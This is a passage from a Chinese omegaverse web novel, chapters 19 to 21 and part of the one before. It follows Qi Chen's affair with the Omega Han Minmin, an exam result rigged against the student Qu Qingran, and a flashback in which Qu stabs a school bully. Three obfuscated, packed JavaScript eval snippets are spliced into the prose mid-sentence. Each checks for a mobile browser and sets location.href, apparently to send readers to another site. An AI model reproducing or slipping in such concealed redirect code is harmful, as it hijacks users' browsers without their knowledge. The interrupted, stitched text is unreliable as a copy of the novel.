很久之前,无数个午夜梦回之时,他都会重返那个恶臭森寒的战壕底部,像个幽魂一样怯怯仰望狭小逼仄的天空,又会在余光瞥见父母亲的尸体的瞬间惊惶尖叫着醒来。 那份恐惧像是闯不出去的雾霾,扯不断的尼龙麻袋,将他裹的死死的,摆脱不掉。 他在极尽痛苦之时无所适从,便不停地反问自己,曲青然,你要求不了别人,那你至少能够要求自己吧? 曲青然,你问问自己,能不能先成为这样的人! 是否只有成为了屠龙者,才有勇气去直面往昔,给自己一个交代? 如果这次不选择军校这条路,以后就再也没有机会更改......固然浑浑噩噩做个普通人生活数十年,却一辈子不再有可能亲手撕碎这场噩梦! 只不过是被人笑话两句,只不过是要学的东西多一点,需要更加刻苦一点......这都是要不了命的事情! 大哥也说了,只要人不死,什么事儿都不算大事儿。 为了向往之地,受点挫折又算得了什么呢? 放弃了,另寻他处,博一个差池千里却平淡冗长的后半生他当真不会后悔吗? 再一次梦魇不眠时,他攥着被汗水湿透凉如枷锁的睡衣,还会感到安心吗? 曲青然收紧五指,将掌中的奶茶杯一点一点的捏皱。 末了,他摸出手机,给骆一白发消息。 【我的努力不是小狗屁】:“我想好了。” 19.第 19 章 “咔哒” 祁琛拧上了淋浴头的开关。 头顶的花洒是和墙壁统一质感的灿金色,设计成了王冠的形状,在灯光的照射下富丽堂皇,精美夺目。 但出水力度太大,冲的人皮肤钝痛,祁琛并不是很喜欢。 他草草的冲完澡,拿了印有永立皇家酒店LOGO的浴巾擦头,下意识的想要推门出去,步伐忽而一顿又收回,将围在腰间的浴巾撤了,改穿一条运动长裤。 做完这一切,他离开浴室,从门边的小冰箱里取了瓶矿泉水喝,半干的头发还有些滴水,顺着健硕的胸肌与肩胛骨滑落,留下晶莹剔透的痕迹。 韩闵敏趴在床上玩手机,小腿一摇一晃。 这两天他嫌弃韩平给他找的房子地点不好,索性在明都档次最高的永立皇冠包了一间套房长住,又以不熟悉周边环境为由,让祁琛有空就来陪他。 再抬头时,他恰好看见这一幕美A出浴图,眼神定格了一下,唇角忍不住上扬。 不得不承认,祁琛这个首军大男A必吃榜榜首的头衔并非空穴来风,衣服脱了更有料了。 “安森哥,我帮你把空调调高一点,小心受凉了!”他笑眯眯的爬起来去摸床头的中控钮。 “没事,反正我过会儿就回去了。”祁琛简短的回应,去到C型的办公桌后方,坐进沙发椅里,将桌上的文件拿起来翻看,“你早点睡吧,我不吵你。” 大概是韩平和祁治廉哪一方对外透露了一点风声的缘故,院里的导员近来给他派了不少活,甚至带他去参加了几个市里的峰会,俨然在将他当重点培养对象。 虽是忙得不可开交,但这种蒸蒸日上乃至平步青云的感觉令祁琛感觉很踏实,他又回了几封邮件,往后一靠,只觉得有什么东西硌着自己的后腰。 椅背上挂着自己的外衫。 祁琛磨了一下口袋,从里面掏出一个褪色的飞行员的小摆件。 他愣了一下。 想起来了,前天他去找韩闵敏拿办手续的文件,韩闵敏就着他的日常用物问起他的喜好,生怕对方看见起疑,就鬼使神差的从中控台上卸了下来,点点胶粘的并不牢,随手一捋就脱落了,被他随手塞进了衣兜,后面忙别的就忘记了。 看着这个摆件,祁琛忽然意识到自打那天在首军大门口跟曲青然吵完架,到现在已经过去了不止四十八个小时,他已经两天没跟曲青然说话了。 下意识的瞄了一眼电脑屏幕,他的V信还在PC端登陆着,跟曲青然的聊天框乍一看不可见,得往下翻了一页才找回那个熟悉的头像,祁琛看着最后一条聊天记录的时间。 两天前。 他没有找曲青然,曲青然也没有找他。 一股烦躁感在心底无声的蔓延,像是沸腾的水蒸气,烫的胸膛“嘶嘶”冒烟,祁琛的眉宇皱紧,唇角抿直。 从来没有过—— 他跟曲青然认识了六七年,之间从来没有过这样的情形,曲青然甚至跟死党骆一白都吵过架,唯独跟自己从未有过龃龉。印象中那一口一个“安森哥”的少年对自己的话言听计从,乖顺且可爱,什么时候变成了这样? “怎么了?”韩闵敏道:“脸色这么差。” 祁琛微微一怔,回过神来,指尖一推将那摆件推回衣兜深处,摇头道:“没有,就是有点累了。” “累了就早点休息嘛,工作也不是一天就能干的完的。”韩闵敏呵欠连天道:“哎,不如我说个八卦给你听吧。” “什么?”祁琛转眸。 他眼下的确急需一点不相干的事转移注意力。 “听说前天教育局的电话被打爆了。”韩闵敏说:“首军大考试办有个姓许的主任发神经,拼命帮一个学生问分要怎么给,说他们考试办给不了。” 见祁琛的表情略有疑惑,韩闵敏道:“要我说这个许主任就是个榆木脑袋,连我这个编外人都知道什么都不如教育系统的公信力重要,就算核查的分数有出入,也不能真的跟对方说呀,就告诉对方答题卡填错了不就行了,对方难道还能记得自己考试的全部细节吗?结果你猜怎么着,那个许主任非要说他们是机器阅卷,多少分就是多少分,没有人工运作的余地。” “他说的也没有错,阅卷改革之后是这样的。”祁琛品出些不对劲:“后来呢?” “后来他们就很生气啊,把这个蠢蠢的许主任从今年优秀教育人才的名单上划掉了。”韩闵敏轻蔑道:“不懂得变通的人,只会给自己的同事还有领导添麻烦!” “我是说答复。”祁琛说:“他们怎么给那个学生答复来着?” “笔试这块不能做文章,就只能说他面试不行咯。”韩闵敏神秘道:“恰好那个人是个Beta。” “Beta?!”祁琛冲口而出。 “对啊,Beta本来就不如ALpha,各方面都平庸的很。”韩闵敏说:“跟面试官通过气了,问就说他面试的时候反应太慢,或者语速不够快,声音不够洪亮,台风太差,这种软标准都是公说公有理婆说婆有理,查监控也查不出端倪,这下他总没话说了吧!” 祁琛骇然不语,眼底空旷,面色亦有些苍白。 韩闵敏觑着他的脸色,不急不缓道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385011|199718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我现在怀疑许主任说的这个人,会不会就是当时祁伯伯跟我说的那个作弊作到满分的人,不然为什么考试办的机器阅卷会让人没有解释的余地呢?” 祁琛抖了一下,听韩闵敏意味深长道:“我倒有点好奇这个人了,拿着这么高的笔试分数,上不了首军大的话,他要何去何从啊!” “没什么好好奇的。”祁琛感觉自己的嗓音在自主发声,干涩僵硬,似乎不受大脑的控制,“这个世界上明珠暗投的事情多了去了,根本没必要管。” “明珠暗投,你觉得他是明珠么?”韩闵敏幽幽道。 祁琛:“我没有......” “你说他是明珠,那是我让他暗投的咯?”韩闵敏一字一句的说:“你说我是坏人。” 祁琛扶额叹息,“你想太多了闵敏,我不是这个意思!” “那我真要打听打听这个人的来历。”韩闵敏冷笑一声,掉头去摸枕畔的手机,“没准儿他上了首军大的其他专业,以后跟我还是校友,抬头不见低头见的,我也要好好照顾照顾他呀!” “不要!” 祁琛面色微变。 他猛地起身,三步并作两步的扑上去按下韩闵敏摸手机的动作,韩闵敏试图躲避,二人双双跌倒在大床上,空气随之陷入凝滞。 韩闵敏的手臂高举过头,手机就在距离指尖几厘米之远,却够不到,祁琛束着他的手腕,膝盖顶开他的双腿,将他压在身下动弹不得。 淡淡的广藿香味弥漫开来,沉沉然点燃了室内的温度,钻进韩闵敏的鼻孔里,令他不由自主的浑身发软,手肘一点弯折的力量也没有。 韩闵敏定定的望着身上的Alpha,破天荒的没了趾高气昂,因为刚洗过澡,祁琛干净有力的手指上空空的,那个戒指形态的抑制环没来得及佩戴。 “你做什么......”他想生气,却拔不起强调,非但无力指责,甚至有点想哭。 祁琛的喉结滚动了一下。 “你忘了吗,我爸是教育厅的。”他的嗓音喑哑,呼吸也浑浊,赤裸的胸膛随之一起一伏,几乎要贴上韩闵敏的睡衣,“这种事情何须劳动你去查,我帮你去打听。” “那你.......”韩闵敏的面色潮红,他不知道如何形容,这种被压制的感觉让他觉得恐怖,却又有些欲罢不能。 “你不要回去了好不好?”他娇喘息息,樱红的舌尖在口中若隐若现,“这么晚了,我一个人在这么大的房间里......害怕。” 祁琛的瞳光虚晃了一瞬,如月沉大海般按下去,随后一掌拍熄了室内的灯光。 20.第 20 章 翌日祁琛再醒来时已经是日上三竿。 上午定好的事务闹钟一个都没响,大概率是被他混沌中给拍熄了,但全程毫无记忆,足见这场睡眠之昏沉,于自律的祁琛而言,多少是有些稀罕。 他扶着额头坐起,定定的看了一会儿凌乱褶皱的被子,转而望向旁侧。 入目是还在昏睡中的韩闵敏。 Omega维持着趴卧的姿势,脸上红晕未散,奶油色的后脖颈上几个牙印重叠,是昨夜激战的证明。 祁琛的目光凝了凝,下意识的伸手去抚摸那几个牙印,眸中欲海翻腾不息,犹如猛兽在巡逻和回味自己狩猎的成果。 手机震动。 祁琛回过神来,收回手,拿了手机轻手轻脚的下床,径直去往卫生间。 他带上门,接通电话,是祁治廉的声音。 “你昨晚没回家。”祁治廉说。 这是个陈述句,祁琛默了片刻,不知该如何回应。 若换做是从前,他大概会被羞赧和愧疚之情交织捆绑,毕竟他一直以来都洁身自好,除非加班极少晚归,遑论在外留宿,更毋庸提肆意标记一个相识不过周余的Omega。 但眼下,他的身心异常平静,提不起一点焦灼内省,仿佛一切都是理所当然的。 “嗯。”他淡淡的应了一声。 “这年头百分之九十五以上的基因匹配度极为难得,要好好对人家韩秘书长的儿子。”祁治廉不乏欣慰的说。 祁琛微微一怔。 饶是他心底有了一点猜想的疑影,在真正听到这个结论时还是倍感惊讶。 “这么高?” “是啊,想不到吧。”祁治廉洋洋得意:“高匹配度的A和O在一起信息素相护抚慰,对无论是身体还是精神都是助益,你看一下你的信息素水平,这个月的易感期是不是平稳的过去了。” 祁琛略有疑惑的点开手机上的抑制器APP,曲线图详细记录着他每日的信息素波动水平,每月会有那么一两天处于峰值,就是易感期爆发的时候,抑制器会加大抑制剂的注入计量进行严格防控,但相对的会产生一些副作用,如嗜睡或是关节酸痛皮肤瘙痒等。 原本预测的易感期发作日为月底,所以那几天祁琛会尽量避开做一些高强度或是容错率低的工作,但现在,APP上显示他的信息素水平平稳的接近一条直线,预测的易感期发作日也推迟到了下下个月。 “本来月底市里有个代表会议还说你参加不了呢,现在可以放心报名了。”祁治廉的声音里掩饰不住的笑意。 祁琛怔了怔,低声道:“所以你这几天是故意让我陪闵敏的。” “当然,你老子为你考虑的每一步都是经过深思熟虑的。”祁治廉哼道:“我以前就让你少跟那些不入流的Beta交往,你小子狼心狗肺还不领情,我有时候都不知道该说什么好,现在知道我在为你好了吧。” 祁琛垂目。 他缓缓扭头,透过透明的玻璃门,韩闵敏的睡颜清晰无比的映入他的瞳孔,这个娇生惯养的富家小少爷面部五官柔和精巧,竟也没有初见时的那般跋扈了,祁琛的心底生出几分别样滋味,暖烘烘的餍足。 “谢谢爸。”他喃声说。 “好好干儿子,你的福气在后头。”祁治廉说,挂断电话。 祁琛深吸了一口气,他盯着镜子望了片刻,镜子里的年轻ALpha意气风发,眉宇间更多了几分沉稳与自信。 唇角扬了扬,他洗漱更衣。 临走前,韩闵敏依旧没睡醒,被标记后的Omega需要很长一段时间的恢复期,祁琛替他掖好被角,又致电前台订了餐。 搭乘电梯下楼,祁琛点开V信,拖拽到下方与曲青然的聊天框。 有那么一个瞬间,祁琛再次感觉到了淡淡的恍惚,仿佛身体里有两个意识在打架,但并没有打很久,因为电梯很快就到了底,“叮”一声门开,他走出去,迎面遇上一张熟悉的面孔。 “贺栩?”祁琛露出诧异的神色:“好巧。” 贺栩抬头,望了他两眼,神色恹恹。 “是啊,好巧。” 如果事儿精的水平有高低之分的话,裴寄昭这货铁定能给到夯。 贺栩就没见过谁大清早两眼一睁就要泡私汤的,还非要泡永立皇家酒店顶楼露天花园的私汤,更加离谱的是,永立汤泉馆的营业时间是上午九点,裴寄昭这货八点四十才诞生了这个烦人的想法。 “你有病吧,你没司机吗?为什么非要我开车?”贺栩根本没睡醒,起床气还十分浓郁。 “我家司机二十分钟开不完五十公里的路程,准确的说,全明都就没有哪个司机能在二十分钟开完五十公里。”裴寄昭振振有词:“除了你啊我的captain贺!” “......我不怕被送进去是吧?”贺栩说:“还有啊,为什么非要限时二十分钟啊?” “我相中了一个精油spa届的拨筋皇帝,十根手指灵活有力足叫人□□!”裴寄昭流着口水说:“但他太火了是个销冠,不早点去排不上号。” 贺栩:“......你是不是忘了自己是谁?当年占据东南亚商会九成份额的大鳌黑桃king,排号?这是你的台词吗?” “用钱砸来的感情禁不住风水雨打~~~”裴寄昭双手捧心,化身浪漫的爱情诗人,“说话归说话油门别他妈松啊!还想不想要你的抑制器了!” 贺栩:“.... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17390289|199718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ..” 吃人嘴短拿人手软不过如是,他将裴寄昭送到目的地,就看见一个涂脂抹粉穿金戴银毛发浓密领口开到肚脐的男模Alpha鞠躬微笑的迎出来,挽着裴寄昭挽下车,一口一个“宝贝”嘘寒问暖。 “老贺啊!”裴寄昭一边往对方的胸口塞塞钞票一边回头对贺栩激动暴言:“你看他长得像不像年轻时候的你!虽只有五分相像,可比你有朝气多了!” 贺栩:“......” 妈的晦气! 裴寄昭春风满面的走了,留贺栩身上的怨气重到旁边死个人都看不见。 祁琛只觉得贺栩脸冒黑气头顶乌云,实在无法忽略,忍不住问道:“你......遇上什么烦心事儿了么?” “一个事儿逼碎嘴O罢了。”贺栩木着脸说:“最烦跟Omega打交道。” 作为一个刚刚收复并标记了Omega的ALpha,祁琛很难不产生一点属于赢家的快慰,以拳抵颌咳嗽了一声道:“身为Alpha,对Omega还是要多点耐心吧,你绅士一点,他们自然会愿意同你交往。” “用不着。”贺栩说。 祁琛忽而想起坊间有关这位贺大少爷的传闻,作为一个不被期待的私生子,其在不知名的乡下地区待了快二十年,堪堪被召回到明都这样的大城市,势必是什么也没见识过,什么也没接触过,眼界极窄。 而明都的这些Omega哪个不是娇生惯养长大,面对这样粗莽猴急的Alpha,不给好脸色也实属正常。 想到这里,祁琛愈发有些膨胀。 但他自诩教养深厚,并不会贬低讥嘲他人,遂莞尔道:“永立的茶餐厅很有名,做猪扒包还有甜点都相当不错,现在差不多到开餐点了,要不要一起去试试?” “好啊。”贺栩心不在焉,“你带路吧。” 祁琛彬彬有礼的欠身做了个邀请的姿势,贺栩未曾回应,目不斜视的往前走了。 二人一道进电梯,祁琛按了餐厅楼层,站得笔直,侧目望着光可鉴人的电梯墙,里面折射出贺栩的样子。 男人环臂胸前,看不出牌子的黑色T恤被他宽于常人的肩膀延展的很好,胸肌顶出坚实的弧度,几百块的衣服穿得像几千块。 外貌是没的说,偏偏长身微斜倚墙,懒散的没个正型,像个古惑仔。 祁琛想起祁治廉曾说过,一个人的姓名样貌都可以伪装,但气质是掩藏不了的,饶是贺栩长得再帅身材再好,身上那种不受教的蛮荒风格也注定他没有办法被世俗所接受,更加没办法爬到高处。 祁琛只看了一眼就收回目光,同时收回的还有心底的微词,忽听贺栩道:“曲青然上学的事情后来怎么样了?” 21.第 21 章 祁琛的眼瞳微微一缩。 曲青然的事情被他刻意埋没在心底,羞于与人提及也有一段时间了,此刻乍然被人冒冒失失的揭开一隅,就像在黑暗中待久了的双目突然遇到强光,令他感到突兀和不适应。 是了,那天......是贺栩陪曲青然去看榜来着,曲青然榜上无名,贺栩也算是第一目击者,会好奇后续走向也很正常。 这显然只是寒暄,但贺栩找话题的功夫实在不算高明,祁琛的眉头皱了一瞬松开,倒也释怀了,平淡道:“不知道,我最近忙,还没得空问他。” 贺栩漆黑的眼珠缓缓平移,黑曜石般的瞳孔底部有一星雪亮的光。 “那天你走了之后,他一直把你挂在嘴上聊,感觉崇拜你崇拜的不得了。”他的语调轻松随意:“真羡慕你们两个的关系,不是兄弟胜似兄弟。” “他聊了我很多?”祁琛怔了怔,转头发问。 “是啊。”贺栩说:“感觉祁组长你以前是不是帮了他很多忙,陪他度过了许多人生的至暗时刻啊!” 有吗? 祁琛的眼前晃了晃,心口发烫,心脏怦怦乱跳。 思绪变得渺远。 非要说的话,是曲青然陪他度过了人生中最难捱的时光。 他忽然就想起了那年刚刚转到弥陀巷中学的日子,那年也是祁治廉刚刚被关起来调查的时候。 他和母亲不知内里,又毫无预兆的被亲戚朋友冷落驱逐,被迫搬家,他的学籍落到了招生人数不够的弥陀巷中学。 与他之前就读的重点学校不同,弥陀巷中学的规模不大,既没有高耸的教学楼也没有宽阔的球场,只有几栋平房和一个一圈四百米的塑胶跑道,里面的学生亦是鱼龙混杂。 他是中途转的学,进班第一周有关他的谣言就播散开来,传的非常离谱,说祁治廉是在逃杀人犯。 那时候学生的思想都非常单一,也不会隐藏好恶,听到如此博人眼球的内容,再看到祁琛时便毫不避讳的窃窃私语,退避三舍。 对于这些人,祁琛只觉得他们愚蠢卑劣,疲于分辩,索性独来独往闷头念书,但后来,他晨间来上学时发现书包被人剪碎,作业在垃圾桶里,桌上被人用中性笔涂抹出刺目猩红的叉,旁边写着“杀人偿命”,一切就似乎在往不可控的方向发展了。 祁琛气得浑身发抖。 他在家乡重点中学念书时,周围的人无不是知书达理,几时见过这样的做派?无奈之下他选择告诉班主任,但班主任的口头教育并不能起到什么实质性的威慑作用,反而让第二天的霸凌变本加厉。 祁琛觉得自己快要崩溃了。 他只是想安心学习,却仿佛是什么难于登天的事情,一切都在泥淖里无限沉沦,直到他遇到了曲青然。 曲青然是个比他低一届的学弟。 起初祁琛对他印象并不深,只是偶尔感觉有人在课余时间跟着自己,某天他听见有人在屁股后面吵架,吵得相当激烈,让他不得不驻足回望,才发现那是个瘦的跟细竹竿似的小男生,一张脸生的朗月清风,正对着一个女孩抓耳挠腮。 “你不要再跟着我啦!你搞得我都要被发现了!!” 那女孩也很委屈,磕磕巴巴道:“那你,那你收我的便当——” “我为什么要收你的便当啊!”曲青然说:“我吃过饭了!我吃了两个包子呢!!” “因为......因为......”女孩也快疯了,面红耳赤道:“我想看你吃便当的样子啊!我,我便当很精致的我还带了刀叉呢——” “我哪有空吃便当啊我要学习!!”曲青然抓狂:“你也好好学习吧!别老研究你那个花里胡哨的便当了!蛋糕上裱520还是250谁看得出区别啊!你上的又不是旧西方烹饪学院!” “呜哇啊!!曲青然我再也不要跟你讲话了!”女孩嚎啕大哭。 曲青然嗓门一点儿没减:“在我考到年纪第一之前你真别跟我说话了!” 祁琛:“......” 他第一次想称一个爱学习的人为傻子。 这种傻子居然也会被人喜欢。 喜欢他的人挺惨的。 然后傻子就“蹬蹬蹬”的跑过来了,一脸天真诚恳的说:“祁学长你终于肯看我一眼啦!” 祁琛:“有事?” 傻子:“那个那个,你的月考试卷能不能借我参考一下~~~” 态度狗腿之程度,跟对那女生简直天壤之别。 祁琛原本以为他只是为了学习资料才勉为其难的跟自己一起上学放学午休吃饭,后来,那些霸凌小团体索性连曲青然一道欺负上了。 看着他被剪成窗花的校服,祁琛已经连生气的心思都没有了,只剩下无奈。 世上的人忙忙碌碌,大多数都不知道在忙些什么,到头来全是无用功,可笑又可叹。 “补习材料我照样会给你,但你不用总跟着我了。”他厌烦道:“没必要。” “放屁。”曲青然说。 起初,祁琛并没有把这两个字放在心上。 可第二天,他被学校通知去派出所录口供。 祁琛丈二和尚摸不着头脑,直到到了派出所,他看见那个霸凌小团体的头目正躺在救护平车上,裹了一身的纱布,哭的都快厥过去了。 祁琛一问才知道这些都是曲青然的杰作,这小子昨天找对方理论去了,谈判不成眼看着要被对方一伙人围殴,曲青然掏出一把裁纸刀就给那个最嚣张的混混头目捅了七八下。 真的见了血,平时一口一个混社会的坏学生们全都吓傻了,顷刻间作鸟兽散,徒留一个混混头儿躺在血泊里暴风哭泣,曲青然不紧不慢的打了急救电话,给人送到了医院急诊又反手报了个警。 一通操作猛如虎,校领导来了,那混混头儿的家长也来了,气急败坏的叫嚣着要验伤。 。 而始作俑者正坐在拘留室门口的板凳上啃手指甲,一双大眼睛扑棱扑棱的,写满了桀骜不驯。 祁琛倍感忐忑,他茫然的站在派出所的大厅里,第一反应是摸出手机来,查看了一下存款余额。 他大概知道曲青然的家庭情况,这小子父母早亡,寄人篱下的住在舅舅舅妈家里,跟家里关系不怎么样,所以大部分时候都不回家。 他也知道曲青然多半是因为自己的一句话才冲动行事,如果最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395537|199718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要赔偿,自己做不到冷眼旁观,多少要承担一部分,真真是让本就糟糕的情形雪上加霜。 或许从一开始他就不应该跟曲青然交朋友。 验伤结果很快就出来了。 轻微伤。 翻译:擦破了点皮。 结合曲青然是个未成年,事后主动叫救护车主动报警态度良好,且事情本身就含有有防御性质在,基本算是不了了之了。 祁琛望着那张报告,大为震撼。 对方家属在外面尖锐爆鸣,直呼医院鉴定中心包庇,曲青然从拘留室里被放出来,慢悠慢悠,还在啃他的手指甲。 “别啃了,不卫生。”祁琛把他的爪子强按下去,忍不住问道:“你怎么......怎么做到的?” “我事先查过了啊,验伤标准,定责的程序,还有划哪里容易出血但不会损伤软组织。”曲青然认真复盘说:“不过第一次干这种事情我还有点慌呢,有个地方碰到血管了飙了好一阵血,幸亏我随身带了个订书机——!” 祁琛:“?” 祁琛:“......” 好好好,真正的高手从来只需要最简单的道具。 祁琛第一次体会到什么叫又好气又好笑,但仿佛往他死水一般的心房里抛入了一块鹅卵石,掀起波浪,搅动无数五彩斑斓的涟漪。 “你知不知道这样过后我们俩的名声就更差了。”他轻轻叹息:“杀人犯的儿子带出了另一个小杀人犯,更没人会来跟我们玩儿了。” “那咋了。”曲青然无所谓说:“首先你不是杀人犯的儿子,其次我也不是杀人犯,而且骆一白知道我是什么人,他还会跟我做朋友的,其他人怎么想我无所谓。”顿了顿他举目,眼底浮过刀锋般的薄光一缕,“但相信我,以后不会有谁再敢来欺负我们了。” 一语成谶。 自此以后,他们真的再也没有遭遇过霸凌。 那个叫骆一白的男生是曲青然的同桌,家里很有钱,跟曲青然关系很好,总会有一搭没一搭的给曲青然物质上的支持,那把趁手的裁纸刀也是骆一白友情赞助的。 但在祁琛看来,他们那只是酒肉朋友。 自己与曲青然有过这么一段,他们是患难之交。 且他们志同道合,有共同的理想,是灵魂上的挚友。 这些都不是一般人能比得了的。 ...... “的确,我们不是一般的朋友。” 猪扒包上来,祁琛手持小餐刀,将冰冻的黄油块涂抹到猪扒表面,看着黄油“滋滋”融化,心底再次被那份古怪的优越感盈满,“阿青以前念书的时候有什么都会来问我,我比他年长,生活经验丰富,会教他怎么处事,可能有点像人生导师吧,他对我多少是依赖的。” 说完他将猪扒包递给贺栩,微微一笑,微有倨傲。 贺栩没看他,随手接过。 他没像祁琛一样动用面前亮闪闪的刀叉,捏着猪扒包张嘴就咬,松弛的宛如在吃路边洋快餐,狭长的眼眸半眯着,斜视窗外车水马龙的风景,依旧闲聊姿态。 “哇塞好厉害啊。”他说:“那你肯定不会不管你那小老弟的前途咯。”